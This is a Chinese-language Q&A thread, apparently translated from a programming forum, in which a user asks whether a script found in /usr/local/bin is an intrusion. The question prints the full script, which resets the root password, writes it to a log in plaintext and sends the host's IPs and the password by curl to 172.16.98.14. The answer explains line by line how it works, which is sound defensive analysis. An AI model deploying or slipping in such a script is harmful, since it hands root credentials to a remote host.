附带的脚本是否容易破解密码?

时间:2019-04-22 04:57:43

标签: linux security

我在crontab中找到了此条目:

#@reboot /usr/local/bin/email_passwordscript.sh

尽管已被注释掉,但它使我感到担心,因此我在/ usr / local / bin中查找了该脚本。我在文件夹中找到了以下脚本,但有趣的是使用了另一个名称(set_password.sh):

#!/bin/sh

PASSWORD=$1

if [ "$#" -eq 0 ]; then
    IPS=$(hostname -I)
    PASSWORD=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | head -c 12)
    IPS=$(echo $IPS | sed 's/ /%20/g')
    OLD_PASSWORD=1
fi

echo "PASSWORD IS $PASSWORD" >> /var/log/new_passwordscript.log
echo "root:$PASSWORD" | chpasswd

hostname_str=`hostname`
sed -i "s/%HOSTNAME%/$hostname_str/" /etc/zabbix/zabbix_agentd.conf

if [ $OLD_PASSWORD == 1 ]; then
    curl -X GET "http://172.16.98.14:8887/passwordemailservice?ip=$IPS&password=$PASSWORD" >> /var/lo
g/passwordscript.log
fi

这是试图入侵我的机器吗?如果是这样,谁能提供有关发生情况的线索?它似乎是我本地网络上的某个人,但是该IP地址没有任何线索,即没有响应。

1 个答案:

答案 0 :(得分:1)

此代码似乎很危险。

该代码更改了计算机的root密码,并将该计算机的IP地址及其密码发送到远程计算机。


工作方式:

PASSWORD=$1 

为密码调用分配第一个参数

if [ "$#" -eq 0 ]; 
    IPS=$(hostname -I)
    PASSWORD=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | head -c 12)
    IPS=$(echo $IPS | sed 's/ /%20/g')
    OLD_PASSWORD=1
fi

检查是否有参数,例如./email_passwordscript.sh XXX。如果没有,它将生成一个随机密码。

 echo "root:$PASSWORD" | chpasswd

此行更改密码

curl -X GET "http://172.16.98.14:8887/passwordemailservice?ip=$IPS&password=$PASSWORD"

将密码发送到远程服务器。

这是怎么发生的?

这很难回答,因为该脚本可以通过多种方式进入您的计算机,例如:

  • 可以物理访问您计算机的人
  • 意外安装恶意软件